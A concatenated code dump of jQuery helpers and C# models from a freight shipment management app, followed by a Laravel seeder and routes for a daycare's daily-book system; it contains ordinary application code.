jQuery(this).find(".datepicker.fromDate").each(function () {
var txtFormdate = jQuery(this).val();
if (txtFormdate !== "") {
var date = Date.parse(txtFormdate);
if (todate < date) {
isValid = false;
jQuery(this).addClass("input-validation-error");
jQuery('form').find(".datepicker.toDate").addClass("input-validation-error");
} else {
jQuery(this).removeClass("input-validation-error");
jQuery('form').find(".datepicker.toDate").removeClass("input-validation-error");
// isValid = true;
}
}
});
}
return isValid;
},
TablResizable: function () {
jQuery(this).find("thead tr th").resizable({
handles: "n, e, s, w",
animateDuration: "fast",
});
}
});
jQuery.isEmpty = function (val) {
return (val === undefined || val === null || val.length <= 0) ? true : false;
};
//http://craftpip.github.io/jquery-confirm/
jQuery.mbqDialog = function (option) {
var style = "";
var column = 'col-md-10 col-md-offset-1';
if (option.columnClass !== undefined) {
column = option.columnClass;
}
//if (option.width !== null)
// style = " style='margin: 0px auto;width:" + option.width + "px;'";
$.dialog({
resizable: true,
async: false,
content: option.content,
columnClass: column,
title: option.title,
dialogClass: "modal-dialog",
backgroundDismiss: option.backgroundDismiss === undefined ? false : option.backgroundDismiss,
closeIcon: true,
confirmButton: false,
cancelButton: false,
theme: "bootstrap"
});
};
jQuery.mbqConfirm = function (option) {
var title = false;
if (option.title !== undefined) {
title = option.title;
}
var columnClass = 'col-md-6 col-md-offset-3';
if (option.columnClass !== undefined) {
columnClass = option.columnClass;
}
var content = '';
if (typeof option === 'string') {
content = option;
title = 'Xác nhận';
} else {
content = option.content;
}
$.confirm({
resizable: true,
async: false,
// icon: "fa fa-warning",
content: content,
columnClass: columnClass,
title: title,
dialogClass: "modal-dialog",
confirm: function () {
if (option.confirm !== undefined)
return option.confirm();
else return true;
},
cancel: function () {
if (option.cancel !== undefined)
return option.cancel();
else return true;
},
closeIcon: true,
theme: "bootstrap",
confirmButton: 'Có',
cancelButton: 'Không',
backgroundDismiss: true
});
};
jQuery.mbqAlert = function (settings) {
var title = 'Thông báo';
var type = 'info';
if (settings.type !== undefined && settings.type !== "") {
type = settings.type;
}
if (settings.title !== undefined && settings.title !== "") {
title = settings.title;
}
var columnClass = 'col-md-6 col-md-offset-3';
if (settings.columnClass !== undefined) {
columnClass = settings.columnClass;
}
if (title.indexOf("Error")>-1 || title.indexOf('error')>-1) {
type = 'error';
columnClass = 'col-md-6 col-md-offset-3';
}
if (title.indexOf("SuccessFully") > -1 || title.indexOf('success') > -1) {
columnClass = 'col-md-6 col-md-offset-3';
}
var alertSettings = {
title: title,
closeIcon: true,
content: settings.content,
confirm: function () {
if (settings.confirm !== undefined)
settings.confirm();
return;
},
confirmButton: 'Đóng',
dialogClass: "modal-dialog",
backgroundDismiss: true,
theme: "bootstrap ",
confirmButtonClass: 'btn btn-primary',
columnClass: columnClass + " alerbox",
};
$.alert(alertSettings);
jQuery(".jconfirm-box").find(".title-c").addClass(type);
//jQuery(".jconfirm-box").find(".content").addClass(type);
}
})(jQuery);
// start page
jQuery(document).ready(function () {
jQuery(this).cleanFormat();
AjaxGlobalHandler.Initiate(options);
jQuery.mbqUnBlockUI();
jQuery(document).InitFormat();
jQuery("form").submit(function (e) {
jQuery("input[disabled]").each(function () {
jQuery(this).removeAttr("disabled");
});
jQuery(this).cleanFormat();
return true;
});
(jQuery(".ckEditor")).each(function (idx, el) {
CKEDITOR.replace(el, {
customConfig: '/Scripts/ckeditor/config.js'
});
});
});
function checkSaleQty(frm) {
var isValid = true;
jQuery(frm).find(".CurrentQty").each(function () {
var $tr = jQuery(this).parents("tr:first");
var $qtyelm = $tr.find(".Quantity:first");
var qty = parseInt($qtyelm.val().replace(/\,/g, ''));
var currentQty = parseInt(jQuery(this).val().replace(/\,/g, ''));
var produc = jQuery($tr).find(".ProductCode").val();
var warehouse = jQuery($tr).find(".WarehouseId").text();
if (qty > currentQty) {
$qtyelm.addClass("Warning");
isValid = false;
return;
}
});
return isValid;
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using System.Globalization;
using System.Web.Mvc;
namespace SSM.Models
{
public class ShipmentModel
{
public static String ViewStatus(String status)
{
switch (status)
{
case "Pending": return " ";
case "Submited": return "S";
case "Approved": return "A";
case "Locked": return "L";
default: return " ";
}
}
public enum RevenueStatusCollec
{
[StringLabel(" ")]
Pending,
[StringLabel("S")]
Submited,
[StringLabel("A")]
Approved,
[StringLabel("L")]
Locked
}
public enum Bill
{
[StringLabel("No Bull")]
NoBill
}
public enum SaleTypes
{
Sales,
Handle,
JointSales
}
public static String ViewServices(String status)
{
switch (status)
{
case "SeaInbound": return "Sea Inbound";
case "SeaOutbound": return "Sea Outbound";
case "AirInbound": return "Air Inbound";
case "AirOutbound": return "Air Outbound";
case "InlandService": return "Inland Service";
case "Other": return "Other";
default: return " ";
}
}
public enum ServicesType
{
Sea,
Air,
Other
}
public enum Services
{
[StringLabel("Sea Inbound")]
SeaInbound,
[StringLabel("Sea Outbound")]
SeaOutbound,
[StringLabel("Air Inbound")]
AirInbound,
[StringLabel("Air Outbound")]
AirOutbound,
[StringLabel("Inland Service")]
InlandService,
[StringLabel("Other")]
Other
}
public long Id { get; set; }
public String RevenueStatus { get; set; }
[DisplayName("Date")]
[Required]
public String Dateshp { get; set; }
[DisplayName("Consignee")]
public long CneeId { get; set; }
public String CneeName { get; set; }
public String CneeFullName { get; set; }
[DisplayName("Agent")]
public long AgentId { get; set; }
public String AgentName { get; set; }
public long SaleId { get; set; }
public String SaleName { get; set; }
[DisplayName("Shipper")]
public long ShipperId { get; set; }
public String ShipperName { get; set; }
[DisplayName("Service")]
public String ServiceName { get; set; }
public String QtyName { get; set; }
[DisplayName("Quantity")]
public double QtyNumber { get; set; }
[DisplayName("Unit")]
public String QtyUnit { get; set; }
[DisplayName("Sale Type")]
public String SaleType { get; set; }
[DisplayName("Description")]
public String Description { get; set; }
public long DepartmentId { get; set; }
[DisplayName("Company")]
public long CompanyId { get; set; }
public String CompanyName { get; set; }
[DisplayName("Departure")]
public long DepartureId { get; set; }
public String DepartureName { get; set; }
[DisplayName("Destination")]
public long DestinationId { get; set; }
public String DestinationName { get; set; }
[DisplayName("Carrier/Air Line Co-Loader")]
public long CarrierAirId { get; set; }
public String CarrierAirName { get; set; }
public String HouseNum { get; set; }
public bool HouseNumCheck { get; set; }
public String MasterNum { get; set; }
public bool MasterNumCheck { get; set; }
[DisplayName("Freight Master/House")]
public String SFreights { get; set; }
public String LockDate { get; set; }
public Boolean LockShipment { get; set; }
public String CreateDate { get; set; }
public String UpdateDate { get; set; }
public String ApproveDate { get; set; }
public long CountryDeparture { get; set; }
public long CountryDestination { get; set; }
public bool isDelivered { get; set; }
public String DeliveredDate { get; set; }
public MT81 Order { get; set; }
public long? VoucherId { get; set; }
public bool IsTrading { get; set; }
[DisplayName("Service")]
public int ServiceId { get; set; }
[DisplayName("Users Control")]
public IList<long> UserListInControl { get; set; }
public Models.ServicesType TypeServices { get; set; }
public bool IsMainControl { get; set; }
public long? ShipmentRef { get; set; }
public string UserListInControlDb { get; set; }
public bool IsControl { get; set; }
public int? ControlStep { get; set; }
}
}<file_sep>using System;
using System.Diagnostics;
namespace SSM.Common
{/// <summary>
/// From http://kigg.codeplex.com/SourceControl/changeset/view/18277#346723
/// </summary>
public class Verify
{
internal Verify()
{
}
public class Argument
{
internal Argument()
{
}
public static void IsNotEmpty(Guid argument, string argumentName)
{
if (argument == Guid.Empty)
throw new ArgumentException(argumentName + " cannot be empty guid.", argumentName);
}
[DebuggerStepThrough]
public static void IsNotEmpty(string argument, string argumentName)
{
if (string.IsNullOrEmpty((argument ?? string.Empty).Trim()))
throw new ArgumentException(argumentName + " cannot be empty.", argumentName);
}
[DebuggerStepThrough]
public static void IsWithinLength(string argument, int length, string argumentName)
{
if (argument.Trim().Length > length)
throw new ArgumentException(argumentName + " cannot be more than " + length + " characters", argumentName);
}
[DebuggerStepThrough]
public static void IsNotNull(object argument, string argumentName)
{
if (argument == null)
throw new ArgumentNullException(argumentName);
}
[DebuggerStepThrough]
public static void IsPositiveOrZero(int argument, string argumentName)
{
if (argument < 0)
throw new ArgumentOutOfRangeException(argumentName);
}
[DebuggerStepThrough]
public static void IsPositive(int argument, string argumentName)
{
if (argument <= 0)
throw new ArgumentOutOfRangeException(argumentName);
}
[DebuggerStepThrough]
public static void IsPositiveOrZero(long argument, string argumentName)
{
if (argument < 0)
throw new ArgumentOutOfRangeException(argumentName);
}
[DebuggerStepThrough]
public static void IsPositive(long argument, string argumentName)
{
if (argument <= 0)
throw new ArgumentOutOfRangeException(argumentName);
}
[DebuggerStepThrough]
public static void IsPositiveOrZero(float argument, string argumentName)
{
if (argument < 0)
{
throw new ArgumentOutOfRangeException(argumentName);
}
}
[DebuggerStepThrough]
public static void IsPositive(float argument, string argumentName)
{
if (argument <= 0)
throw new ArgumentOutOfRangeException(argumentName);
}
[DebuggerStepThrough]
public static void IsPositiveOrZero(decimal argument, string argumentName)
{
if (argument < 0)
throw new ArgumentOutOfRangeException(argumentName);
}
[DebuggerStepThrough]
public static void IsPositive(decimal argument, string argumentName)
{
if (argument <= 0)
throw new ArgumentOutOfRangeException(argumentName);
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using System.Reflection;
using SSM.Controllers;
using System.Web.Mvc;
namespace SSM.Models
{
public class UsersModel
{
#region Permission
public static bool isEditShippment(string shipmentService, User User1)
{
if (isDeptManager(User1))
{
return false;
}
if (isAdminOrDirctor(User1))
{
return true;
}
if (((User1.AllowTrackAirIn && shipmentService.Equals(ShipmentModel.Services.AirInbound.ToString()))
|| (User1.AllowTrackAirOut && shipmentService.Equals(ShipmentModel.Services.AirOutbound.ToString()))
|| (User1.AllowTrackSeaIn && shipmentService.Equals(ShipmentModel.Services.SeaInbound.ToString()))
|| (User1.AllowTrackSeaOut && shipmentService.Equals(ShipmentModel.Services.SeaOutbound.ToString()))
|| (User1.AllowTrackInlandSer && shipmentService.Equals(ShipmentModel.Services.InlandService.ToString()))
|| (User1.AllowTrackProjectSer && shipmentService.Equals(ShipmentModel.Services.Other.ToString()))) && isOperation(User1))
{
return true;
}
return false;
}
public static bool IsEditTrading(User user)
{
if (isAdminNComDirctor(user) || user.AllowTrading)
{
return true;
}
return false;
}
public static bool IsAllowFuntion(User user)
{
if (isAdminOrDirctor(user) || isAccountant(user) || user.AllowTrading || isDeptManager(user))
return true;
return false;
}
public static bool IsTrading(User user)
{
if (isAdminOrDirctor(user) || user.AllowTrading || isAccountant(user) || (isDeptManager(user)))
return true;
return false;
}
public static bool IsMainDirector(User user)
{
if (isAdminOrDirctor(user) && user.Company.CompanyName == "SANCO FREIGHT LTD")
return true;
return false;
}
public static bool isAdminOrDirctor(User User1)
{
if (User1.RoleName.Equals(UsersModel.Positions.Administrator.ToString())
|| User1.RoleName.Equals(UsersModel.Positions.Director.ToString()))
{
return true;
}
return false;
}
public static bool isComDirctor(User User1)
{
if (User1.RoleName.Equals(UsersModel.Positions.Director.ToString())
&& (User1.DirectorLevel == 1))
{
return true;
}
return false;
}
public static bool isAdminNComDirctor(User User1)
{
if (User1.RoleName.Equals(UsersModel.Positions.Administrator.ToString())
|| (User1.RoleName.Equals(UsersModel.Positions.Director.ToString())
&& (User1.DirectorLevel == 1)))
{
return true;
}
return false;
}
public static bool isOperation(User User1)
{
if (User1.RoleName.Equals(UsersModel.Positions.Operations.ToString()))
{
return true;
}
return false;
}
public static bool isDeptManager(User User1)
{
if (User1.RoleName.Equals(UsersModel.Positions.Manager.ToString()))
{
return true;
}
return false;
}
public static bool isSales(User User1)
{
if (UsersModel.Functions.Sales.ToString().Equals(User1.Department != null ? User1.Department.DeptFunction : ""))
{
return true;
}
return false;
}
public static bool isAccountant(User User1)
{
if (UsersModel.Functions.Accountant.ToString().Equals(User1.Department != null ? User1.Department.DeptFunction : ""))
{
return true;
}
return false;
}
public static bool isSetPassword(User User1)
{
if (isAdminOrDirctor(User1))
{
return true;
}
if (User1.SetPass == true)
{
return true;
}
return false;
}
#endregion
#region Define Enum
public static string ConvertToRoleName(string Position, string DeptFunction)
{
if (DisplayPositions.Director.ToString().Equals(Position))
{
return Positions.Director.ToString();
}
if (DisplayPositions.Manager.ToString().Equals(Position))
{
return Positions.Manager.ToString();
}
if (DisplayPositions.Admin.ToString().Equals(Position))
{
return Positions.Administrator.ToString();
}
if (Functions.Sales.ToString().Equals(Position))
{
return Positions.Sales.ToString();
}
if (Functions.Operations.ToString().Equals(Position))
{
return Positions.Operations.ToString();
}
return Positions.Accountant.ToString();
}
public static string RevertFromRoleName(string RoleName)
{
if (Positions.Director.ToString().Equals(RoleName))
{
return DisplayPositions.Director.ToString();
}
if (Positions.Manager.ToString().Equals(RoleName))
{
return DisplayPositions.Manager.ToString();
}
if (Positions.Administrator.ToString().Equals(RoleName))
{
return DisplayPositions.Admin.ToString();
}
return DisplayPositions.Staff.ToString();
}
public enum DisplayPositions
{
Director,
Manager,
Staff,
Admin
};
public enum Positions
{
Director,
Manager,
Sales,
Operations,
Accountant,
Administrator
};
public enum Functions
{
Director,
Sales,
Operations,
Accountant
};
public enum Levels : int
{
[StringLabel("Director")]
Director,
[StringLabel("Deputy Director")]
DeputyDirector,
[StringLabel("Branch Manager")]
BranchManager
};
#endregion
#region Models
[Required]
[DisplayName("Full name")]
public string FullName { get; set; }
[Required]
[DisplayName("User name")]
public string UserName { get; set; }
[Required]
[DataType(DataType.Password)]
[DisplayName("Password")]
public string Password { get; set; }
[DisplayName("Address")]
public string Address { get; set; }
[DisplayName("Email")]
public string Email { get; set; }
[DisplayName("Description")]
public string Note { get; set; }
public long Id { get; set; }
[DisplayName("Departerment")]
public long DeptId { get; set; }
public string DeptName { get; set; }
[DisplayName("Company Name")]
public long ComId { get; set; }
public string ComName { get; set; }
[DisplayName("Position")]
public string RoleName { get; set; }
[DisplayName("Level")]
public int Level { get; set; }
[DisplayName("Set your password")]
public bool SetPass { get; set; }
[DisplayName("Update ocean freight")]
public bool AllowUpdateSeaRate { get; set; }
[DisplayName("Update air freight")]
public bool AllowUpdateAirRate { get; set; }
[DisplayName("Sea Inbound")]
public bool AllowTrackSeaIn { get; set; }
[DisplayName("Sea Outbound")]
public bool AllowTrackSeaOut { get; set; }
[DisplayName("Air Inbound")]
public bool AllowTrackAirIn { get; set; }
[DisplayName("Air Outbound")]
public bool AllowTrackAirOut { get; set; }
[DisplayName("Inland Service")]
public bool AllowTrackInlandSer { get; set; }
[DisplayName("Project Service")]
public bool AllowTrackProjectSer { get; set; }
[DisplayName("Other")]
public bool AllowTrackOtherSer { get; set; }
[DisplayName("Approve for revenue")]
public bool AllowApproRevenue { get; set; }
[DisplayName("Raise quota for office")]
public bool AllowQuotaOffice { get; set; }
[DisplayName("Setting Policy for Sales")]
public bool AllowSetSales { get; set; }
[DisplayName("Raise quota for department")]
public bool AllowQuotaDept { get; set; }
[DisplayName("Setting for System")]
public bool AllowSettingSystem { get; set; }
[DisplayName("Update Agent")]
public bool AllowUpdateAgent { get; set; }
[DisplayName("Update Partner")]
public bool AllowUpdatePartner { get; set; }
[DisplayName("Sea Port")]
public bool AllowSeaPort { get; set; }
[DisplayName("Air Port")]
public bool AllowAirPort { get; set; }
[DisplayName("Customer")]
public bool AllowCustomer { get; set; }
[DisplayName("Trading")]
public bool AllowTrading { get; set; }
[DisplayName("Approved Stock")]
public bool AllowApprovedStockCard { get; set; }
[DisplayName("Freight")]
public bool AllowFreight { get; set; }
[DisplayName("Data")]
public bool AllowDataTrading { get; set; }
[DisplayName("Crate & Edit")]
public bool AllowInforEdit { get; set; }
[DisplayName("All Control")]
public bool AllowInfoAll { get; set; }
[DisplayName("Crate & Edit")]
public bool AllowRegulationEdit { get; set; }
[DisplayName("Approval")]
public bool AllowRegulationApproval { get; set; }
public bool IsActive { get; set; }
[DisplayName("Checking Revenue")]
public bool CheckingRevenue { get; set; }
public List<ControlCompany> ControlCompany { get; set; }
//CMR Function
[DisplayName("Setting theo dõi phòng")]
public bool AllowFollowDept { get; set; }
[DisplayName("Edit company report")]
public bool AllowEditReport { get; set; }
public List<Department> Departments { get; set; }
public string DeptFollowIds { get; set; }
public string EmailPassword { get; set; }
[DisplayName("Email display name")]
public string EmailNameDisplay { get; set; }
#endregion
}
public class DepartmentModel
{
public long Id { get; set; }
[Required]
[DisplayName("Department Name")]
public string DeptName { get; set; }
[DisplayName("Description")]
public string Description { get; set; }
public string DeptCode { get; set; }
public string DeptFunction { get; set; }
public long ComId { get; set; }
public bool IsActive { get; set; }
}
public class CompanyModel
{
public long Id { get; set; }
[Required]
[DisplayName("Office")]
public string CompanyName { get; set; }
[DisplayName("Description")]
public string Description { get; set; }
public string CompanyCode { get; set; }
public string Address { get; set; }
public string PhoneNumber { get; set; }
}
public class CompanyInfo
{
public static string COMPANY_LOGO = "COMPANY_LOGO";
public static string COMPANY_HEADER = "COMPANY_HEADER";
public static string COMPANY_FOOTER = "COMPANY_FOOTER";
public static string ACCOUNT_INFO = "ACCOUNT_INFO";
public string CompanyLogo { get; set; }
public string CompanyHeader { get; set; }
public string CompanyFooter { get; set; }
public string AccountInfor { get; set; }
}
public class SettingModel
{
public static string TAX_COMMISSION = "TAX_COMMISSION";
public static string PAGE_SETTING = "PAGE_SETTING";
public static string CRM_DAYCANCEL_SETTING = "CRM_DAYCANCEL_SETTING";
public string TaxCommistion { get; set; }
public string PageNumber { get; set; }
public long Id { get; set; }
public string SaleType { get; set; }
public double Bonus { get; set; }
public bool Active { get; set; }
}
public class SalePlanModel
{
public enum PlanType
{
[StringLabel("Office")]
OFFICE,
[StringLabel("Department")]
DEPARTMENT,
[StringLabel("Quota in month")]
QUOTA_IN_MONTH
};
public static SelectList PlanTypeList
{
get
{
var Plans = from PlanType p in Enum.GetValues(typeof(PlanType))
select new { Id = p, Name = p.GetStringLabel() };
return new SelectList(Plans, "Id", "Name");
}
}
public static string USER_SALE_PLAN_SESSION = "USER_SALE_PLAN_SESSION";
public int Month { get; set; }
public int Year { get; set; }
public long OfficeId { get; set; }
public long DeptId { get; set; }
public long SaleId { get; set; }
public string SaleName { get; set; }
public double PlanValue { get; set; }
public string PlanOfficeType { get; set; }
}
public class UserSalePlan
{
public string FullName { get; set; }
public decimal? PlanValue { get; set; }
public long Id { get; set; }
public long ComId { get; set; }
public long DeptId { get; set; }
public UserSalePlan(long id, long DeptId, long ComId, string fullName, decimal? planValue)
{
this.Id = id;
this.ComId = ComId;
this.DeptId = DeptId;
this.FullName = fullName;
this.PlanValue = planValue;
}
}
} | 199fa62b65b3d5efcf46119c354bc555df7f2705 | [
"JavaScript",
"C#",
"SQL"
] | 167 | C# | xuanhienkx/SSM | 69736def74f77764b4e5c9fd5ad370affb32eb15 | 1ee10d46f726cf3ba5692e8377554a02582dce10 |
refs/heads/master | <repo_name>jsgoldb/reverse-each-word-v-000<file_sep>/reverse_each_word.rb
# def reverse_each_word (sentence)
# array_sentence = sentence.split()
# array_reversed = []
# array_sentence.each do |word|
# array_reversed << word.reverse
# end
# array_reversed.join(" ")
# end
def reverse_each_word (sentence)
array_sentence = sentence.split()
array_reversed = array_sentence.collect do |word|
word.reverse
end
array_reversed.join(" ")
end | ae1af72787235daa3db83c74dfca9f4f397f4bc9 | [
"Ruby"
] | 1 | Ruby | jsgoldb/reverse-each-word-v-000 | b121c69048e9429232012d8e3420d7f8be49b8d8 | 01255b5e1a73f8c5c094786a4f2002e24f4246a0 |
refs/heads/master | <file_sep><?php
use Illuminate\Database\Seeder;
use Faker\Factory as Faker;
use App\User;
use App\Student;
use App\Parents;
use App\Role;
class UserTableSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
$role_administrator = Role::where('name', 'Administrator')->first();
$role_koordinator = Role::where('name', 'Koordinator')->first();
$role_wakil_koordinator = Role::where('name', 'Wakil Koordinator')->first();
$role_staf_administrasi = Role::where('name', 'Staf Administrasi')->first();
$role_fasilitator = Role::where('name', 'Fasilitator')->first();
$role_cofasilitator = Role::where('name', 'Co-fasilitator')->first();
$role_guru = Role::where('name', 'Guru')->first();
$role_orangtua = Role::where('name', 'Orangtua')->first();
$administrator = new User();
$administrator->name = 'Administrator Name';
$administrator->email = '<EMAIL>';
$administrator->password = <PASSWORD>('<PASSWORD>');
$administrator->save();
$administrator->roles()->attach($role_administrator);
$koordinator = new User();
$koordinator->name = 'Koordinator Name';
$koordinator->email = '<EMAIL>';
$koordinator->password = <PASSWORD>('<PASSWORD>');
$koordinator->save();
$koordinator->roles()->attach($role_koordinator);
$wakil_koordinator = new User();
$wakil_koordinator->name = 'Wakil Koordinator Name';
$wakil_koordinator->email = '<EMAIL>';
$wakil_koordinator->password = <PASSWORD>('<PASSWORD>');
$wakil_koordinator->save();
$wakil_koordinator->roles()->attach($role_wakil_koordinator);
$staf_administrasi = new User();
$staf_administrasi->name = 'Staf Administrasi Name';
$staf_administrasi->email = '<EMAIL>';
$staf_administrasi->password = bcrypt('<PASSWORD>');
$staf_administrasi->save();
$staf_administrasi->roles()->attach($role_staf_administrasi);
$fasilitator = new User();
$fasilitator->name = '<NAME>';
$fasilitator->email = '<EMAIL>';
$fasilitator->password = bcrypt('<PASSWORD>');
$fasilitator->save();
$fasilitator->roles()->attach($role_fasilitator);
$cofasilitator = new User();
$cofasilitator->name = 'Co-fasilitator Name';
$cofasilitator->email = '<EMAIL>';
$cofasilitator->password = <PASSWORD>('<PASSWORD>');
$cofasilitator->save();
$cofasilitator->roles()->attach($role_cofasilitator);
$guru = new User();
$guru->name = '<NAME>';
$guru->email = '<EMAIL>';
$guru->password = <PASSWORD>('<PASSWORD>');
$guru->save();
$guru->roles()->attach($role_guru);
$administrator = new User();
$administrator->name = 'TPA Makara Administrator';
$administrator->email = '<EMAIL>';
$administrator->password = bcrypt('<PASSWORD>');
$administrator->save();
$administrator->roles()->attach($role_administrator);
$koordinator = new User();
$koordinator->name = '<NAME>, S.Psi., M.Si., Psikolog';
$koordinator->email = '<EMAIL>';
$koordinator->password = <PASSWORD>('<PASSWORD>');
$koordinator->save();
$koordinator->roles()->attach($role_koordinator);
$wakil_koordinator = new User();
$wakil_koordinator->name = '<NAME>, S.Psi., M.Si';
$wakil_koordinator->email = '<EMAIL>';
$wakil_koordinator->password = bcrypt('<PASSWORD>');
$wakil_koordinator->save();
$wakil_koordinator->roles()->attach($role_wakil_koordinator);
$wakil_koordinator = new User();
$wakil_koordinator->name = '<NAME>, S.Hum., M.Psi-T';
$wakil_koordinator->email = '<EMAIL>';
$wakil_koordinator->password = bcrypt('<PASSWORD>');
$wakil_koordinator->save();
$wakil_koordinator->roles()->attach($role_wakil_koordinator);
$staf_administrasi = new User();
$staf_administrasi->name = '<NAME>';
$staf_administrasi->email = '<EMAIL>';
$staf_administrasi->password = bcrypt('<PASSWORD>');
$staf_administrasi->save();
$staf_administrasi->roles()->attach($role_staf_administrasi);
$fasilitator = new User();
$fasilitator->name = '<NAME>, S.Psi';
$fasilitator->email = '<EMAIL>';
$fasilitator->password = bcrypt('<PASSWORD>');
$fasilitator->save();
$fasilitator->roles()->attach($role_fasilitator);
$cofasilitator = new User();
$cofasilitator->name = '<NAME>, S.Mn';
$cofasilitator->email = '<EMAIL>logi.ui.ac.id';
$cofasilitator->password = bcrypt('<PASSWORD>');
$cofasilitator->save();
$cofasilitator->roles()->attach($role_cofasilitator);
$cofasilitator = new User();
$cofasilitator->name = '<NAME>, S.Hum';
$cofasilitator->email = '<EMAIL>';
$cofasilitator->password = bcrypt('<PASSWORD>');
$cofasilitator->save();
$cofasilitator->roles()->attach($role_cofasilitator);
$cofasilitator = new User();
$cofasilitator->name = '<NAME>, S.Psi';
$cofasilitator->email = '<EMAIL>';
$cofasilitator->password = bcrypt('<PASSWORD>');
$cofasilitator->save();
$cofasilitator->roles()->attach($role_cofasilitator);
$guru = new User();
$guru->name = '<NAME>, S.H.I';
$guru->email = '<EMAIL>';
$guru->password = bcrypt('<PASSWORD>');
$guru->save();
$guru->roles()->attach($role_guru);
$guru = new User();
$guru->name = 'MARIANI, S.Pd';
$guru->email = '<EMAIL>';
$guru->password = bcrypt('<PASSWORD>');
$guru->save();
$guru->roles()->attach($role_guru);
$guru = new User();
$guru->name = '<NAME>, S.Psi';
$guru->email = '<EMAIL>';
$guru->password = bcrypt('<PASSWORD>');
$guru->save();
$guru->roles()->attach($role_guru);
$kelas = array(
'Day Care',
'Kelompok Bermain',
);
$kota = array(
'Jakarta',
'Depok',
'Bogor',
'Tangerang',
'Tangerang Selatan',
);
$jenis_kelamin = array(
'laki-laki',
'perempuan',
);
$agama = array(
'Islam',
'Kristen',
'Hindu',
'Budha',
);
$anakKe = array(
'1/2',
'2/2',
'1/3',
'2/3',
'3/3',
'1/4',
'2/4',
'3/4',
'4/4',
);
$peran = array(
'Ibu',
'Ayah',
'Wali',
'Non-wali'
);
$pendidikan = array(
'SD',
'SMP',
'SMA',
'D1',
'D2',
'D3',
'D4',
'S1',
'S2',
'S3',
);
$faker = Faker::create('id_ID');
for($i = 1; $i <= 80; $i++) {
$user = new User();
$user->name = $faker->name;
$user->email = $faker->email;
$user->password = <PASSWORD>('<PASSWORD>');
$user->save();
$user->roles()->save($role_orangtua);
$student = new Student();
$student->nama_lengkap = $faker->name;
$student->nama_panggilan = $faker->firstName;
$student->kelas = $kelas[array_rand($kelas)];
$student->jenis_kelamin = $jenis_kelamin[array_rand($jenis_kelamin)];
$student->tempat_lahir = $kota[array_rand($kota)];
$student->tanggal_lahir = $faker->dateTime($max = 'now', $timezone = null);
$student->usia = $faker->randomDigit;
$student->agama = $agama[array_rand($agama)];
$student->alamat_rumah = $faker->address;
$student->telepon_rumah = $faker->phoneNumber;
$student->anak_ke = $anakKe[array_rand($anakKe)];
$student->catatan_medis = $faker->sentence;
$student->penyakit_berat = $faker->word;
$student->keadaan_khusus = $faker->word;
$student->sifat_baik = $faker->word;
$student->sifat_diperhatikan= $faker->word;
$student->lulus = $faker->boolean($chanceOfGettingTrue = 5);
$user->student()->save($student);
// $student->save();
foreach ($peran as $p) {
$parent = new Parents();
$parent->peran = $p;
$parent->nama_lengkap = $faker->name;
$parent->tempat_lahir = $kota[array_rand($kota)];
$parent->tanggal_lahir = $faker->dateTime($max = 'now', $timezone = null);
$parent->agama = $agama[array_rand($agama)];
$parent->pendidikan = $pendidikan[array_rand($pendidikan)];
$parent->jurusan = $faker->word;
$parent->pekerjaan = $faker->jobTitle;
$parent->alamat_kantor = $faker->address;
$parent->telepon_kantor = $faker->phoneNumber;
$parent->email = $faker->email;
$parent->alamat_rumah = $faker->address;
$parent->no_handphone = $faker->phoneNumber;
$user->student()->save($parent);
}
}
}
}
<file_sep><?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', 'PageController@index')->name('index');
Route::get('/success', 'PageController@success')->name('success');
Route::get('/success/{url?}', 'PageController@successAndRedirect')->name('successAndRedirect')->where('url', '(.*)');
Auth::routes();
Route::group(['prefix' => 'user', 'as' => 'user.'], function () {
Route::get('/register', 'UserController@showAdminRegisterForm')->name('register.form');
Route::get('/changePassword', 'UserController@showPasswordChangeForm')->name('password.form');
Route::post('/register', 'UserController@submitAdminRegisterForm')->name('register.submit');
Route::post('/changePassword', 'UserController@submitPasswordChangeForm')->name('password.submit');
});
Route::group(['prefix' => 'dailyBook', 'as' => 'dailyBook.'], function () {
Route::get('/class', 'PageController@selectClassDailyBook')->name('class');
Route::group(['prefix' => '{daily_book_id}'], function () {
Route::group(['prefix' => 'comments', 'as' => 'comments.'], function () {
Route::get('/show', 'PageController@showComments')->name('show');
Route::get('/send', 'PageController@sendComments')->name('send');
Route::post('/add', 'DailyBooksController@addComments')->name('add');
});
});
Route::group(['prefix' => 'DayCare', 'as' => 'dc.'], function () {
Route::get('/students', 'PageController@dayCareStudents')->name('student');
Route::group(['prefix' => '{student_id}'], function () {
Route::get('/form', 'PageController@formDailyBookDayCare')->name('form');
Route::get('/month', 'PageController@dayCareSelectMonth')->name('month');
Route::get('/date/{month}/{year}', 'PageController@dayCareSelectDate')->name('date');
Route::get('/date/parent', 'PageController@dayCareSelectDateParent')->name('date.parent');
Route::get('/review/{day}/{month}/{year}', 'PageController@reviewDailyBookDayCare')->name('review');
Route::get('/show/{day}/{month}/{year}', 'PageController@showDailyBookDayCare')->name('show');
// Route::get('/read/{dailyBook}', 'DailyBooksController@isReadDailyBook')->name('read');
Route::post('/add', 'DailyBooksController@addDailyBooksDayCare')->name('add');
Route::post('/publish/{dailyBook}', 'DailyBooksController@publishDailyBookDayCare')->name('publish');
});
});
Route::group(['prefix' => 'KelompokBermain', 'as' => 'kb.'], function () {
Route::get('/students', 'PageController@kelompokBermainStudents')->name('student');
Route::group(['prefix' => '{student_id}'], function () {
Route::get('/form', 'PageController@formDailyBookKelompokBermain')->name('form');
Route::get('/month', 'PageController@kelompokBermainSelectMonth')->name('month');
Route::get('/date/{month}/{year}', 'PageController@kelompokBermainSelectDate')->name('date');
Route::get('/date/parent', 'PageController@kelompokBermainSelectDateParent')->name('date.parent');
Route::get('/review/{day}/{month}/{year}', 'PageController@reviewDailyBookKelompokBermain')->name('review');
Route::get('/show/{day}/{month}/{year}', 'PageController@showDailyBookKelompokBermain')->name('show');
// Route::get('/read/{dailyBook}', 'DailyBooksController@isReadDailyBook')->name('read');
Route::post('/add', 'DailyBooksController@addDailyBooksKelompokBermain')->name('add');
Route::post('/publish/{dailyBook}', 'DailyBooksController@publishDailyBookKelompokBermain')->name('publish');
});
});
});
